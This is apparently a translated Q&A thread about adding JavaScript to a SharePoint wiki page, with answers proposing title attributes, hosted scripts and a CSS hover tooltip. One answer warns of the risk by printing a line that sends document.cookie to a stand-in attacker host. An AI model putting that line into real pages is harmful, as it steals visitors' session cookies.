rotate p5js createcanvas arc javascript html sharepoint wiki

javascript - p5js - rotate p5



¿Cómo ingresar Javascript en una página wiki? (9)

¿Cómo puedo, como administrador de wiki, ingresar scripts (Javascript) en una página wiki de Sharepoint?

Me gustaría ingresar un título y, al hacer clic en él, mostrar debajo una pequeña explicación. Por lo general, he hecho eso con javascript, ¿alguna otra idea?


Agregue title="text here" a cualquier etiqueta y debería mostrar un texto al pasar el puntero sobre ella.
Internet Explorer muestra el texto cuando se usa el atributo alt="text here" , aunque eso no se corresponde con los estándares.

Probé ahora, y puede agregar <h2 title="some explanation here">headline</h2> a cualquier sistema basado en wikimedia (el que usa Wikipedia).


Depende completamente del software Wiki específico que esté utilizando. La forma en que he visto funcionar es alojar un archivo js en otro lugar y luego incluirlo con una etiqueta de script con un atributo src.

Si no lo permiten, tal vez permitan un IFRAME que puede establecer en una página que incluya el script. Usando la segunda técnica, no se te permitirá acceder al DOM de la página del host.



Me gusta la respuesta CSS. Cuando puede usar CSS en lugar de Javascript, el resultado es un marcado más simple.
Otra cosa a considerar es el Kit de Comunidad para SharePoint Enhanced Wiki Edition en Codeplex. Puede descargar el código fuente y agregar sus propias características. O puede sugerir esto como una nueva función en el foro.


No debería poder agregar código JavaScript para ninguna wiki pública. Si lo está alojando usted mismo, debe solicitar un sistema wiki específico para que alguien pueda ayudarlo a modificar la configuración, si es posible para ese sistema.


Por supuesto, dependerá del motor wiki con el que estés hablando. Sin embargo, lo más probable es que, como dice sblundy, sería un riesgo de seguridad permitir el uso gratuito de javascript en la página wiki.


Si está hablando de usar Javascript como parte de una página web en este sitio, no puede hacerlo. O cualquier otra wiki pública para ese asunto, es un riesgo de seguridad.

Si está hablando de publicar una muestra de código, haga clic en el botón ''101010'' que se encuentra sobre el cuadro de texto.


Si los autores de la wiki son sabios, probablemente no haya forma de hacerlo.

El problema con el JavaScript contribuido por el usuario es que abre la puerta a todas las formas de malhechores para tomar datos de los desprevenidos.

Supongamos que evil-me publica un script en un sitio web público:

i = new Image(); i.src = ''http://evilme.com/store_cookie_data?c='' + document.cookie;

Ahora recibiré la información de las cookies de cada visitante de la página, publicada en un registro en mi servidor. Y eso es solo la punta del iceberg.


Suponiendo que usted es el administrador de la wiki y está dispuesto a mostrar esto al pasar el ratón sobre el mouse en lugar de hacer clic, no necesita javascript en absoluto, puede usar CSS directo. Aquí hay un ejemplo de los estilos y el marcado:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Test</title> <style type="text/css"> h1 { padding-bottom: .5em; position: relative; } h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } h1:hover span { display: block; } </style> </head> <body> <h1>Here is the title! <span>Here is a little explanation</span> </h1> <p>Here is some page content</p> </body> </html>

Con algunos estilos más implicados, su cuadro de información sobre herramientas puede verse tan bien como desee.